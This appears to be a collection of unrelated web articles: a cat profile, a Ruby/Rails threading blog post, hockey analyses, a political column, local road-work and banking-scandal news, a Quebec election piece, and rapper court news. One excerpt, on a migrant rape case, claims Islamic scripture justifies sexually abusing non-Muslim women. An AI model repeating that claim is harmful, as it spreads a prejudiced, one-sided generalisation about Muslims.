-"My cats are my family. They make our home so enjoyable that no words can describe how much they mean to all of us," said Wei Wang from Taiwan.  Melon, one of Wei's cats, has a huge appetite. Unlike other cats in the house, he cleans everybody's dishes and makes sure that there is no leftover on the plates. Melon is therefore bigger than Aniki who is at the same age as him.  Melon loves snacks and can go crazy for them. "No matter what he is doing at the time, as soon as he hears the snack bottle, he will run over and try to grab the treat off my fingers with all he's got."  No matter how you cuddle or hold him, Melon never gets annoyed. He likes to be petted and given a lot of attention to. He is always sweet and never throws a fist at people.  Melon likes to wrestle with Aniki, but they always end up snuggling together in a nap. "It gives all of us a fuzzy feeling inside every time."  "I watch them grow and take care of them along the way. The experience has been extremely precious. We have built a strong bond with each other. They are more than just pets, they are my children."  Photos courtesy of ©Wei Wang. (See Wei Wang's other cats: Sushi & Aniki)
-For a while now, the Ruby community has become enamored in the latest new hotness, evented programming and Node.js. It's gone so far that I've heard a number of prominent Rubyists saying that JavaScript and Node.js are the only sane way to handle a number of concurrent users.  I should start by saying that I personally love writing evented JavaScript in the browser, and have been giving talks (for years) about using evented JavaScript to sanely organize client-side code. I think that for the browser environment, events are where it's at. Further, I don't have any major problem with Node.js or other ways of writing server-side evented code. For instance, if I needed to write a chat server, I would almost certainly write it using Node.js or EventMachine.  However, I'm pretty tired of hearing that threads (and especially Ruby threads) are completely useless, and if you don't use evented code, you may as well be using a single process per concurrent user. To be fair, this has somewhat been the party line of the Rails team years ago, but Rails has been threadsafe since Rails 2.2, and Rails users have been taking advantage of it for some time.  Before I start, I should be clear that this post is talking about requests that spent a non-tiny amount of their time utilizing the CPU (normal web requests), even if they do spend a fair amount of time in blocking operations (disk IO, database). I am decidedly not talking about situations, like chat servers where requests sit idle for huge amounts of time with tiny amounts of intermittent CPU usage.  Threads and IO Blocking  I've heard a common misperception that Ruby inherently "blocks" when doing disk IO or making database queries. In reality, Ruby switches to another thread whenever it needs to block for IO. In other words, if a thread needs to wait, but isn't using any CPU, Ruby's built-in methods allow another waiting thread to use the CPU while the original thread waits.  If every one of your web requests uses the CPU for 30% of the time, and waits for IO for the rest of the time, you should be able to serve three requests in parallel, coming close to maxing out your CPU.  Here's a couple of diagrams. The first shows how people imagine requests work in Ruby, even in threadsafe mode. The second is how an optimal Ruby environment will actually operate. This example is extremely simplified, showing only a few parts of the request, and assuming equal time spent in areas that are not necessarily equal.  I should be clear that Ruby 1.8 spends too much time context-switching between its green threads. However, if you're not switching between threads extremely often, even Ruby 1.8's overhead will amount to a small fraction of the total time needed to serve a request. A lot of the threading benchmarks you'll see are testing pathological cases involve huge amounts of threads, not very similar to the profile of a web server.  (if you're thinking that there are caveats to my "optimal Ruby environment", keep reading)  "Threads are just HARD"  Another common gripe that pushes people to evented programming is that working with threads is just too hard. Working hard to avoid sharing state and using locks where necessary is just too tricky for the average web developer, the argument goes.  I agree with this argument in the general case. Web development, on the other hand, has an extremely clean concurrency primitive: the request. In a threadsafe Rails application, the framework manages threads and uses an environment hash (one per request) to store state. When you work inside a Rails controller, you're working inside an object that is inherently unshared. When you instantiate a new instance of an ActiveRecord model inside the controller, it is rooted to that controller, and is therefore not used between live threads.  It is, of course, possible to use global state, but the vast majority of normal, day-to-day Rails programming (and for that matter, programming in any web framework in any language with a request model) is inherently threadsafe. This means that Ruby will transparently handle switching back and forth between active requests when you do something blocking (file, database, or memcache access, for instance), and you don't need to personally manage the problems the arise when doing concurrent programming.  This is significantly less true about applications, like chat servers, that keep open a huge number of requests. In those cases, a lot of the application logic happens outside the individual request, so you need to personally manage shared state.  Historical Ruby Issues  What I've been talking about so far is how stock Ruby ought to operate. Unfortunately, a group of things have historically conspired to make Ruby's concurrency story look much worse than it actually ought to be.  Most obviously, early versions of Rails were not threadsafe. As a result, all Rails users were operating with a mutex around the entire request, forcing Rails to behave like the first "Imagined" diagram above. Annoyingly, Mongrel, the most common Ruby web server for a few years, hardcoded this mutex into its Rails handler. As a result, if you spun up Rails in "threadsafe" mode a year ago using Mongrel, you would have gotten exactly zero concurrency. Also, even in threadsafe mode (when not using the built-in Rails support) Mongrel spins up a new thread for every request, not exactly optimal.  Second, the most common database driver, mysql is a very poorly behaved C extension. While built-in I/O (file or pipe access) correctly alerts Ruby to switch to another thread when it hits a blocking region, other C extensions don't always do so. For safety, Ruby does not allow a context switch while in C code unless the C code explicitly tells the VM that it's ok to do so.  All of the Data Objects drivers, which we built for DataMapper, correctly cause a context switch when entering a blocking area of their C code. The mysqlplus gem, released in March 2009, was designed to be a drop-in replacement for the mysql gem, but fix this problem. The new mysql2 gem, written by Brian Lopez, is a drop-in replacement for the old gem, also correctly handles encodings in Ruby 1.9, and is the new default MySQL driver in Rails.  Because Rails shipped with the (broken) mysql gem by default, even people running on working web servers (i.e. not mongrel) in threadsafe mode would have seen a large amount of their potential concurrency eaten away because their database driver wasn't alerting Ruby that concurrent operation was possible. With mysql2 as the default, people should see real gains on threadsafe Rails applications.  A lot of people talk about the GIL (global interpreter lock) in Ruby 1.9 as a death knell for concurrency. For the uninitiated, the GIL disallows multiple CPU cores from running Ruby code simultaneously. That does mean that you'll need one Ruby process (or thereabouts) per CPU core, but it also means that if your multithreaded code is running correctly, you should need only one process per CPU core. I've heard tales of six or more processes per core. Since it's possible to fully utilize a CPU with a single process (even in Ruby 1.8), these applications could get a 4-6x improvement in RAM usage (depending on context-switching overhead) by switching to threadsafe mode and using modern drivers for blocking operations.  JRuby, Ruby 1.9 and Rubinius, and the Future  Finally, JRuby already runs without a global interpreter lock, allowing your code to run in true parallel, and to fully utilize all available CPUs with a single JRuby process. A future version of Rubinius will likely ship without a GIL (the work has already begun), also opening the door to utilizing all CPUs with a single Ruby process.  And all modern Ruby VMs that run Rails (Ruby 1.9's YARV, Rubinius, and JRuby) use native threads, eliminating the annoying tax that you need to pay for using threads in Ruby 1.8. Again, though, since that tax is small relative to the time for your requests, you'd likely see a non-trivial improvement in latency in applications that spend time in the database layer.  To be honest, a big part of the reason for the poor practical concurrency story in Ruby has been that the Rails project didn't take it seriously, which it difficult to get traction for efforts to fix a part of the problem (like the mysql driver).  We took concurrency very seriously in the Merb project, leading to the development of proper database drivers for DataMapper (Merb's ORM), and a top-to-bottom understanding of parts of the stack that could run in parallel (even on Ruby 1.8), but which weren't. Rails 3 doesn't bring anything new to the threadsafety of Rails itself (Rails 2.3 was threadsafe too), but by making the mysql2 driver the default, we have eliminated a large barrier to Rails applications performing well in threadsafe mode without any additional research.  UPDATE: It's worth pointing to Charlie Nutter's 2008 threadsafety post, where he talked about how he expected threadsafe Rails would impact the landscape. Unfortunately, the blocking MySQL driver held back some of the promise of the improvement for the vast majority of Rails users.
-It’s been a long time since the Calgary Flames have had a goaltender they can confidently call their number one.  After Miikka Kiprusoff retired in 2013, a strenuous search for his replacement between the pipes began. Jonas Hiller, Joni Ortio, Karri Ramo, Brian Elliott, and Chad Johnson were among the goalies given the opportunity, but all failed to permanently grab the reins.  Enter Mike Smith.  The 35-year-old was brought in to be the undisputed starting net minder, and he’s already proving to be the real deal.  “He’s been unbelievable for us so far, huge for us,” said Flames forward Michael Frolik in a CTV News article. “We’ve got to clean up and not give up too many shots, but it’s nice to know we have a really solid goaltender back there who will stop a lot of pucks.”  Related: Coyotes Trade Mike Smith to Flames  The Key Numbers  Although it’s only been three games, Smith’s 1.68 goals-against average (GAA) and .957 save percentage has come against the Edmonton Oilers, Winnipeg Jets, and Anaheim Ducks, with the Oilers and Jets both finishing in the top ten in scoring last season.  The veteran completes a well-rounded roster that, with the off-season addition of defenseman Travis Hamonic, boasts arguably the best defensive corps in the NHL.  In their two most recent trips to the post-season in 2014-15 and 2016-17, the Flames finished ranked 14 of 16 and 15 of 16 respectively in goals-against per game. Not exactly the recipe for a deep playoff run.  Although Smith’s playoff experience is limited, he proved he has the tools to perform at a high level, deep in the playoffs.  In the 2011-12 season, he took the Arizona (Phoenix) Coyotes all the way to the conference finals, where they came up just short of the Stanley Cup Final, falling to the Los Angeles Kings.  Throughout that playoff run, Smith was nearly unbeatable. In 16 games, he boasted a 1.99 GAA to go along with a .944 save percentage, knocking out the Chicago Blackhawks and Nashville Predators in the process.  Even though he was playing behind one of the more solid Coyotes blue lines to date, including Keith Yandle, Derek Morris, Oliver Ekman-Larsson, and Michal Rozsival, he’ll have an even more concrete unit in front of him in Calgary.  Battle in the Desert  Other than the 2011-12 season, he was left out to dry for the entirety of his Coyotes tenure. In his last five seasons with the club, they ranked in the bottom half of the league in goals-against each year. Not because of poor goaltending, but because of an immense amount of shots allowed.  In that same time span, the Coyotes finished in the bottom ten in the league for shots allowed per game, including a 29 out of 30 ranking in 2016-17.  After continually facing a high volume of shots year after year in Arizona, Smith now joins a team that has finished in the top half of the league in shots allowed per game for the last four seasons, a change that is sure to only make him better.  In the 2016-17 season, Smith faced a whopping 1,819 shots with the Coyotes, posting a 2.92 GAA and .914 save percentage. In comparison, the Flames’ goaltender at the time, Brian Elliot, faced only 1338 shots and posted a slightly better GAA of 2.55, but a worse save percentage of .910.  When facing nearly 500 more shots than Elliott, it’s expected he would have a higher GAA. But the save percentage is what speaks volumes.  With the potential of facing up to 500 less shots this season, the new Flames net minder could be on track for a career year. If he were to achieve that feat, he and his new club will be in for a special season.  “I was told by a very smart guy who has won a lot of games that I can have the best penalty kill meeting, I can have the best practice the day before the game, and I can have the best power play meeting, but if my goalie is no good, you’re not going to win,” said Flames head coach Glen Gulutzan in a Calgary Herald article. “Smitty coming in is going to be a workhorse for us. I watched him play in big games, and he thrives in those things.”  Outside of the Pipes  Not only is Smith going to be a major upgrade between the pipes, he’s also going to have an impact on the offensive front.  He’s well-known for his ability to play the puck, and is arguably the best goalie in the NHL at doing so.  Having a goalie that can handle the puck the way he can opens up a whole new playbook for the Flames. It will allow for more threatening transitions, especially with the likes of Johnny Gaudreau and Sean Monahan, and offer many different looks, making it harder on opposing defenses to try and control.  His ability will make it harder for other teams on the forecheck, forcing them to dump the puck into certain areas, which Flames defenders will be able to key in on.  Related: The Calgary Flames Sixth Defenseman  “Our transition game is going to change a lot, where he can move it up and then we’re going the other way on the rush right away,” said Flames goaltending coach Jordan Sigalet in a Calgary Herald article. “He always says that a lot of guys get the wrong message when he’s with a team that now they think they don’t have to come back for the puck because he’s going to move it up. But he says it’s the opposite. He wants our guys coming back. It gives him more options. Sometimes, he can suck in the forecheck that way and open up our forwards up front.”  With the addition of Smith, as well as Hamonic and even Jagr, the Flames have completed the puzzle that is their roster.  They have all the pieces needed to make a deep playoff run, and barring multiple long-term injuries, they will do just that.
-So let’s get the lede out of the way: John Scott scored a hockey goal with his hockey stick by shooting the hockey puck past an unscreened goaltender - a good goaltender, no less - into the hockey net.  It was his third NHL goal (the second one involved the type of crazy bounce you’d expect) after six in the AHL and seven in 126 NCAA games, so y’know ... this is noteworthy.  So how does a 6-foot-8 pure fighter with almost twice as many penalty minutes as games played come to score a goal, let alone one against a pretty decent Washington Capitals team with some pretty decent defensemen on the ice?  Well, there are a few reasons, including the fact he played some legitimately good hockey.  ****  The NHL.com video at the bottom of this post has a few more angles if you can’t believe this really happened, and need more proof.  The puck starts from the bench-side boards, with Joel Ward passing the puck through a forechecker to Brooks Orpik in front of the Caps net. It’s a bit of a broken play, as his partner John Carlson is nowhere to be found. But that shouldn’t be an issue.  The puck is moved to Orpik.  Evgeny Kuznetsov sees this, and fans out to take the pass. The Sharks’ Adam Burish starts to read that, and wants to stay overtop of him while Andrew Desjardins backchecks.  But as you can see, he’s more than a step behind, so Kuznetsov opens up for the pass, and receives it.  Or more accurately, tries to receive it. Instead it's an “Oh man, whoops” from Kuznetsov. I don’t know if the puck bounces or not, but either way, it goes on through to Sharks defenseman Brent Burns, who wastes 0.0 seconds getting the puck up to Burish. Seriously, he one-times it.  This systems post isn’t really even about a system as much as it is about the play Burish made to make this incredible goal happen.  Look at Burish see Scott in the middle and angle the puck with his skate into his linemate's lane. I believe a soccer announcer would call this a “cheeky touch.”  (Courtesy: Comcast Sportsnet)  And there goes John Scott, sort of.  Orpik’s biggest problem (at the top of the GIF below) is that once the pass is missed and returned to Burish, he sees that, and pivots to face an attack from the near side, thinking Burish may corral it. It was a completely fine thought to have, but look at the terrible position his unfortunate pivot puts him in to defend.  (Courtesy: Comcast Sportsnet)  Burish’s clever skate pass left Scott with the puck and “speed,” while Orpik is just stopping and just starting to back up.  Here’s the thing: it’s really, really weird he doesn’t just get into Scott, and influence his shot, no?  Well, no. It looks weird at first glance, but if you can see, just as he pivots, Desjardins (No. 10) is filling in the lane on the other side of him, and it seems like his body angle limits him from seeing Carlson coming to help him and make it a 2-on-2.  I think it’s possible that he saw Carlson, but he definitely didn’t know if he was defending an even-man rush or a 2-on-1.  That thought process would explain why he seems to be taking the cross-crease pass away. I mean, with all due respect, it’s John Scott, so he’s probably more worried about giving up some back-door tap-in than the clean shot on Braden Holtby.  In the end, Scott was on the defensive side of the puck, picked it up with speed through the neutral zone, and made a great shot to score. A lot had to go right for it to happen, but hey, sometimes NFL linebackers score touchdowns. This stuff happens.  If you can’t believe it ever did (even the goal scorer himself looks surprised above), have one last look. It’s a great play by Burish, and a nice snipe from Scott.  (Courtesy: NHL.com)
-The Revisionist Ride of Paul Revere  Sarah Palin is a fraud with charisma — and enough political support to effectively hold the Republican Party hostage. She is ridiculous and dangerous in equal measure.  Palin is certain about everything and knows about nothing. The only true facts are those she recognizes; other facts, when cited to contradict her private truth, are deemed politically motivated. History books are nothing more than weapons used by her enemies in their incessant attacks, their pitiful attempts to play “gotcha.”  In her view, she does not make mistakes. Therefore, it may surprise you to learn, this is who Paul Revere was:  “He who warned the British that they weren’t going to be taking away our arms, by ringing those bells, and making sure as he’s riding his horse through town to send those warning shots and bells that we were going to be secure and we were going to be free.”  Utter, complete nonsense. The purpose of Revere’s midnight ride was to warn townspeople and patriot leaders that British troops were approaching. He didn’t ring any bells or fire any warning shots; the prearranged signal involved hanging lanterns in the steeple of the Old North Church, one if the redcoats were approaching by land and two if by sea.  Palin gave her fanciful account Thursday after touring Boston’s historic North End. “We saw where Paul Revere hung out as a teenager, which was something new to learn,” she told reporters — neglecting to add, I guess, that she didn’t bother to read any of the brochures.  It was comical and weird, like a lot of Palin’s antics, but so what? Anybody can have a momentary lapse and say something dumb in front of a television camera. You laugh it off and move on.  Unless you’re Sarah Palin. She appeared on “Fox News Sunday,” and Chris Wallace asked the obvious question: “You realize that you messed up about Paul Revere, don’t you?” He must have expected her to be charmingly self-deprecating. Instead, to Wallace’s evident surprise, she insisted that her ridiculous account was correct.  Palin seized on a lesser-known incident during Revere’s ride, when he was captured and briefly held by several British soldiers. He bluffed his way out of his predicament by boasting that 500 well-armed militiamen were up ahead, ready for battle.  “Part of his ride was to warn the British that, ‘We’re already there,’ that, ‘Hey, you’re not going to succeed. You’re not going to take American arms. You are not going to beat our own well-armed persons, individual, private militia that we have.’ “  Wallace smiled as if he couldn’t quite believe what he was hearing.  “I didn’t mess up about Paul Revere,” Palin said. “I know my American history.”  Yes, you did. And no, you don’t.  Anyone who believes that Revere rang bells and fired warning shots simply isn’t going to know — until after the fact — about the encounter with the British soldiers. And in any event, Revere didn’t set out “to warn the British” — he was warning colonists about the British. And he wasn’t making some kind of Second Amendment statement about “American arms” because there was no Second Amendment. And …  Yes, I’m belaboring the obvious. But I’m doing so because the incident says so much about Palin’s arrogant disregard for objective fact. It’s never about the truth. It’s always about Sarah.  She told Fox that she was the victim of a “gotcha type of question.” But there is no indication, from video of the encounter, that she was asked specifically about Paul Revere. Her peroration came amid a general recounting of her visit to Boston.  The gaffe is understandable — well, almost understandable. But she doubled down with a claim of persecution and a bald-faced lie. That is what we ignore at our peril.  This is a small, unimportant matter. But Palin demands to be seen as a big, important person in the nation’s political life. Her party is so afraid of her that the putative front-runner for the presidential nomination, Mitt Romney, won’t even call her out for stealing thunder from his campaign kickoff by just happening to be in the neighborhood, complete with the attendant media circus.  The woman, like Lord Byron, is “mad, bad, and dangerous to know.” I’d shout it throughout the land, if I could find my horse and my bells.  Eugene Robinson’s e-mail address is eugenerobinson(at)washpost.com.
-(WSB photo from March 2016, looking east from west of 30th SW)  Back in February, we brought you first word of King County’s plan to build a sidewalk and replace road panels along the south side of SW Roxbury between 28th and 30th SW (right side of our file photo above). Today, the county is saying the work will start in “late May,” and will go like this:  ·Work scheduled from late May-July, if weather cooperates ·Area is SW Roxbury Street between 28th Avenue SW and 30th Avenue SW ·One lane of road will be closed from 8 a.m. to 4 p.m., each day ·Flaggers will direct two-way vehicle traffic ·Pedestrians will be detoured ·Roxhill Elementary bus loading areas will be moved to west edge of the school property ·Businesses along this section of SW Roxbury Street will remain open and access provided at all times. Access points will be provided for the gas station, the auto parts store/latte stand and auto repair shop.  Our February report has more details on that; the county also has sent out this mailer:
-“We’re excited to announce this new agreement and continue our partnership with the Mallards,” said Wild Assistant General Manager Brent Flahr. “Quad City offers a great organization that will provide our players an excellent opportunity to continue their development.”  Under the affiliation agreement, the Mallards will serve as a resource for the development efforts and personnel needs of both the Iowa and Minnesota Wild. The agreement allows for Wild prospects to be assigned to the Mallards for developmental purposes throughout the season. Minnesota’s primary development affiliate is the Iowa Wild in the American Hockey League (AHL). Quad City served as a CHL affiliate for the Wild in 2013-14 and were a secondary ECHL affiliate in 2014-15. Minnesota’s primary ECHL affiliate last season was the Alaska Aces.  “We’re very excited about not only extending our affiliation agreement with the Minnesota and Iowa Wild but also serving as the Wild’s exclusive ECHL affiliate,” said Mallards President Bob McNamara. “Continuing our affiliation will give the fans of the Quad Cities the chance to watch some very exciting Wild prospects at the iWireless Center and give our players a great opportunity to take the next step in their careers.”  About the Quad City Mallards
-Billions of dollars are said to be missing in the 1MDB scandal, nearly $700 million of which was deposited into Najib's bank account alone  Singapore's central bank on Tuesday said it was kicking out Switzerland's BSI Bank, which has been linked to a global money-laundering scandal that has embroiled neighbouring Malaysia's Prime Minister Najib Razak.  In the toughest legal action so far in the crisis rocking Malaysian state fund 1MDB, Switzerland also disclosed it had launched criminal proceedings against the parent firm BSI SA for "deficiencies" in its internal organisation.  “BSI Bank is the worst case of control lapses and gross misconduct that we have seen in the Singapore financial sector," Ravi Menon, managing director of the Monetary Authority of Singapore (MAS), said in a statement.  MAS said it had asked state prosecutors to investigate six senior executives of BSI Bank for possible criminal offences and fined it Sg$ 13.3 million ($9.6 million) for 41 breaches of Singapore's laws against money laundering.  Among those facing investigation is former chief executive Hans Peter Brunner.  Two Singaporean executives of the bank are already facing criminal proceedings in the city-state, which is Southeast Asia's financial hub and hosts more than 200 banks.  BSI has been operating as a merchant bank in Singapore since November 2005, offering private banking services to wealthy individuals.  The last time Singapore stripped a merchant bank of its status was in 1984, when the local branch of Jardine Fleming was shut down for "serious lapses" in its advisory work.  Najib, who founded 1Malaysia Development Berhad (1MDB) in 2009, has battled allegations that billions were looted from the investment vehicle in a vast campaign of fraud and embezzlement stretching from the Middle East to the Caymans.  - Denials -  The fund, which ran up more than $11 billion in debt in a series of much-questioned investments, has steadfastly denied money was stolen or that it was in financial trouble.  Najib also faced questions after the Wall Street Journal revealed $681 million in transfers to his personal bank accounts.  But since the scandal erupted last year, Najib has weathered the allegations by curbing scrutiny by authorities, purging officials demanding accountability, and stifling media reporting.  He insists the $681 million was a gift from the Saudi royal family, most of which he returned. A Saudi official in April said that was true, but only after weeks of silence that cast doubt on the claim.  In a series of more recent reports, however, the newspaper said Malaysian investigation documents indicated more than $1 billion in 1MDB-linked money had been funnelled to Najib.  Najib and 1MDB vehemently deny that claim.  Najib has faced calls to resign but has tightened his grip on the ruling party and thwarted domestic investigations. His position is not seen as under imminent threat.  Singapore's MAS said it was "working closely" with the Swiss Financial Market Supervisory Authority (FINMA), which has already approved the sale of the BSI parent firm to another Swiss-based bank, EFG International.  The Office of the Attorney General of Switzerland said Tuesday that it had opened criminal proceedings against BSI SA "based on information revealed by the criminal proceedings in the 1MDB case".  In Singapore, former BSI Bank relationship manager Yak Yew Chee is undergoing a criminal investigation for his dealings with a unit of 1MDB. His bank deposits have been frozen.  Separately, former BSI Bank wealth planner Yeo Jiawei, also a Singaporean, faces seven charges including forgery, money laundering, cheating and perverting the course of justice. He is in police custody and scheduled to appear in court Tuesday.
-“‘When I saw how pretty she was, I wanted to have sex with her,’ he said, but claims he was too drunk.”  Her consent, or lack of it, doesn’t seem to have played any role in his considerations. This is because the Qur’an teaches that Infidel women can be lawfully taken for sexual use (cf. its allowance for a man to take “captives of the right hand,” 4:3, 4:24, 23:1-6, 33:50, 70:30). The Qur’an says: “O Prophet, tell your wives and your daughters and the women of the believers to bring down over themselves of their outer garments. That is more suitable that they will be known and not be abused. And ever is Allah Forgiving and Merciful.” (33:59) The implication there is that if women do not cover themselves adequately with their outer garments, they may be abused, and that such abuse would be justified.  “Migrant who raped and killed EU official’s daughter cries as he tells court that drowning her ‘destroyed’ HIS life and that he dragged her into a river to ‘wash her blood from me,'” by Allan Hall, MailOnline, September 12, 2017:
-With Father's Day approaching, it's nice to know we helped out one of the good guys.  Mesa resident Troy Guelich, 43, turned to Call 12 For Action after the Department of Economic Security failed to erase the balance due on his child-support account.  The divorced father of two daughters was laid off in 2009. Before that, he had always paid his child-support payments in full and on time.  But that was tough to do while he was out of work for nearly a year.  The Department of Economic Security took over Guelich's child-support payments from the court because they were paying him unemployment benefits. But the DES decreased his child-support payments for three of those months.  When Guelich found a new job, he caught up, paying the outstanding amount in full.  Shortly after that, Guelich started receiving notices from the DES claiming he was delinquent on his account.  Then, he found out through the courts and the DES website that he had actually overpaid by thousands of dollars.  He brought it to the attention of the DES, but Guelich claims no one listened.  However, within three weeks of Call 12 For Action's involvement, Troy got his nearly $3,000 balance erased.  DES sent us this statement:  DES works with all noncustodial parents to assist them in meeting their obligations to their children. Mr. Guelich is no exception.  It's important to understand that Arizona has two child-support systems: DES and the local clerks of court (non-DES). Cases managed by the local courts do not have the same accounting requirements as DES. When cases from the local court apply for DES services after years of being managed by the local courts, DES relies on current court orders, signed by judges and the parties to the case, to establish the child support debt. The parties to a child support case have the opportunity to challenge their child support debt and to present payment information in court. DES enforces the court's ordered child support.  That doesn't answer the question as to why Guelich's case was mishandled. Although he loves his daughters and will continue to provide for them, Guelich is still angry. He says he was treated like a deadbeat dad when he is far from that.
-The Soviet Union spent millions planting its icons in the West. Lenin devised a plan to use sculpture to propagate communism. Now, 100 years after the Bolshevik revolution, his plan has been realised in Britain—free of charge. On July 15th a Soviet-era statue of Friedrich Engels was installed in Manchester, where the Marxist thinker lived and wrote about the condition of the proletariat. Phil Collins, an artist, brought the concrete Engels—in two parts, cut at the waist—from Ukraine, where it had been toppled and dumped along with other Soviet monuments after Russia’s military aggression in 2015. It testifies to the new vitality of socialism in the West (though revolutionary statues are under fire elsewhere—see article). For tips on where it leads, Russia and Ukraine are good places to dig.
-The hangover from the 1995 sovereignty referendum was not pretty for Montreal. Half a year after a vote that brought Canada to within a sliver of possible breakup, Quebec’s biggest city was left badly shredded.  Its 11% unemployment rate was the highest in urban North America. Residential real estate prices were falling. The vacancy rate for downtown office towers topped 20%. Companies like Canadian Pacific Railway Ltd. continued their slow head-office exodus. One Toronto property broker trying to drum up business ran ads in Montreal newspapers that read: “When the road leads you away from Montreal to Toronto, we’ll be at the other end to make you feel right at home.”  There were larger pan-Canadian consequences too, of course. Amid the constitutional crisis, lenders demanded higher interest rates to hold Canada’s debt. That November the dollar fell a cent and a half as post-referendum optimism vanished amid a realization that Canada’s unity problem remained unsolved.  Today, nine years of Liberal Party rule have restored a certain level of stability to the city and to the province as the federalist party wooed private enterprise and buried unity disagreements with Ottawa. But as Quebecers get set to vote again Sept. 4, the corporate world is bracing for change.  There is a lot of worry that the climate for reinvestment won’t be the same  “It’s the first time in my life that I sense from the business community a concern this large about the result of an election and the aftermath,” said Yves-Thomas Dorval, head of the Conseil du Patronat, Quebec’s largest business lobby. “There is a lot of worry that the climate for reinvestment won’t be the same.”  Association representatives like Mr. Dorval, 55, are non-partisan. They can’t take a position for or against a specific political party.  But other business leaders are articulating privately what trade groups won’t — that the election of the sovereigntist Parti Québécois would bring political instability at the very time the world economy is slowing and when Quebec and Canada can least afford it.  [np-related]  A PQ victory in 2012 probably wouldn’t lead to the kind of mass corporate decamping that occurred in the late 1970s after then PQ premier René Lévesque took power, experts say. A more likely scenario would see companies, especially global multinationals with operations in several countries, maintain their presence in Quebec but reduce their investment.  Says Mr. Dorval: “You won’t have the desire to invest in an unstable place. That’s the reality.”  The PQ is leading in the latest Léger Marketing poll with 33% of voting intentions, five percentage points ahead of the Liberals and six points clear of François Legault’s upstart Coalition Avenir Québec. From the moment it takes office, the sovereigntist party is vowing to repatriate to Quebec a series of federally controlled powers over things like employment insurance. It is counting on fights. The thinking is that every time Ottawa says no strengthens the argument for separation.  “Quebecers will judge for themselves Ottawa’s response to our demands,” said PQ finance critic Nicolas Marceau, an economist who teaches at the Université du Québec à Montréal.  The party is also the most interventionist of the three. It would mandate provincial pension fund Caisse de dépôt et placement du Québec to protect Quebec companies from takeovers, politicizing an institution that has remained staunchly independent under chief executive Michael Sabia.  “We’re not talking about the PQ putting its hands in the Caisse. That’s out of the question,” Mr. Marceau said. “There has to be a distance between the government and the Caisse that lets the Caisse take its decisions based on business considerations. But at the same time, we can give it certain orientations to favour economic decisions which we think would be completely legitimate.”  How seriously Premier Jean Charest’s Liberals are taking the threat of a PQ government was made abundantly clear before the campaign started.  Raymond Bachand, the finance minister, uncharacteristically waded into the private markets by vowing to use all means necessary to block a takeover by U.S. home improvement retailer Lowe’s Cos. of local champion Rona Inc. Many observers believe Mr. Bachand’s move was pure political strategy — a way for the Liberals to connect with Quebecers who are instinctively nationalist and claim some of that ground as their own.  It remains to be seen whether the Liberals would maintain that interventionist stance if returned to power. But one thing is certain: Their opponents are even bigger meddlers, vowing to shield Quebec’s corporate jewels like Astral Media Inc. from being bought and the resulting head-office loss than might entail.  That’s great for all the local suppliers and lawyers and accountants whose livelihood feeds from the money flowing out from corporate Quebec’s headquarters. But it’s a bad outlook for investors looking to make money from a change of control.  “As soon as you start intervening in the fluidity of the market, there is a discount” that gets applied on the company being traded, said Adrien Pouliot, president of Montreal investment firm Draco Capital. “There is a general chill.”  Quebecers have a higher tolerance for government intervention than other Canadians, Mr. Pouliot says. He gives the example of the Quebec Stock Savings Plan, a scheme created by former PQ premier Jacques Parizeau that offered investors generous tax breaks if they put money in new public share offerings for Quebec-based companies. He benefitted from the plan as his company was able to raise more money than it otherwise would have.  The government in Quebec is so involved in the economy that eventually almost everybody gets something  “The government in Quebec is so involved in the economy that eventually almost everybody gets something,” Mr. Pouliot said. “It’s a system that’s very difficult to break.”  Quebec’s small and medium-sized businesses, which make up 50% of gross domestic product and represent the heart of many communities, are equally apprehensive about the future. Dealing with an 8% tax on profits, double the rest of Canada, and payroll taxes that are 45% higher on average than in other provinces, their hurdles to expansion are immense.  “[We] don’t have a climate where you’re encouraging people to grow their business,” said Martine Hébert of the Canadian Federation of Independent Business. “I go see members in Quebec. They’re telling me ‘I made the choice to stay small because the more I grow, the more problems I get.’ ”  Using the Caisse to shield Quebec companies is a bad strategy, says Martin Coiteux, an economist at Montreal’s HEC business school. First, it presumes that a foreign takeover is automatically a bad thing when in fact a new owner might innovate and create jobs. Second, it’s using pensioner money, not public money, to pursue the government’s agenda.  “It’s like we’re back 20, 30, maybe 40 years ago,” Mr. Coiteux said in an interview. “It projects to the outer world the image of a Quebec which is resolutely looking at its own past.”  There was a time when the Quebec government used the Caisse more actively. If that kind of economic nationalism had produced clear improvements in the lives of ordinary Quebecers, it might be worth pursuing. Trouble is, Mr. Coiteux says, it hasn’t.  “What happened is that the gap between the richest province and our own economy has increased. And provinces such as New Brunswick are catching up. So something is going on. And nobody is really questioning the overall strategy. [It’s] more economic nationalism for no other purpose than to perpetuate a winning speech at election time.”  In theory, the average Quebecer wouldn’t get huffy in the least about the PQ’s plan to repatriate employment insurance. And the party still might find it a tough slog to build support for outright separation.  But the mood among the Quebec electorate now is unpredictable, Mr. Coiteux says. It can get massively behind a cause, as the NDP’s crushing victory in Quebec and this past spring’s student protests demonstrated. It also has little love for the Harper Conservatives.  The argument is that anything can happen in these volatile conditions.  “Given the polls that we’ve seen so far, I don’t think that anybody is really betting on the re-election of the Liberals,” Mr. Coiteux said. “[Quebecers] are dividing their votes. They’re splitting their votes across various parties. And the PQ might strike a win just because of the divisions between the others.”
-An Atlanta judge has granted Gucci Mane credit for nearly a year of time served in a gun possession charge stemming from a September arrest last year according to TMZ.  Gucci Mane was sentenced to serve 39 months at a hearing in August after reaching a plea deal on the weapons charges, avoiding a potential decade-long sentence in the process. Despite his being arrested in September 2013, Mane’s sentence was scheduled to begin at the time of the sentencing hearing itself. As a result of the latest court ruling, the eleven months Gucci served between September and his sentencing hearing last month will now be subtracted from the 39 month punishment. TMZ reports that Gucci is now slated for release in December of 2016.  As a part of the plea deal executed in August, Gucci Mane’s lawyer requested the rapper to be entered into a drug rehabilitation program and to be held on the West Coast, away from his hometown affiliates. “He understands he has some work ahead of him and his goal is to bring resolution to this case and get back to performing,” Gucci Mane’s lawyer, Drew Findling, said according to Rolling Stone. “He doesn’t want anything to distract him. He wants to do anything to get back to the work place and the work place is the stage.”  In September of last year, Gucci Mane was arrested after police found the 34-year old rapper with a 45-caliber pistol and eight bullets. At the time of his arrest, Mane was already serving probation for a previous felony charge.  Gucci Mane released his I Am Trap mixtape on August 31. HipHopDX gave the release three out of five stars, noting, “the best moments on I Am Trap would sound like welcome additions to his most critically acclaimed tapes, like Trap Back, Writing’s On The Wall, or The Cold War mixtape trilogy. With a guest spot from Wale on one of the tape’s standout tracks, ‘Used To It,’ Gucci states in the chorus ‘Imma keep doin’ what I’ve been doing.’ Looks like Guwop will be releasing much more ‘free Gucci’ in the foreseeable future.”  RELATED: 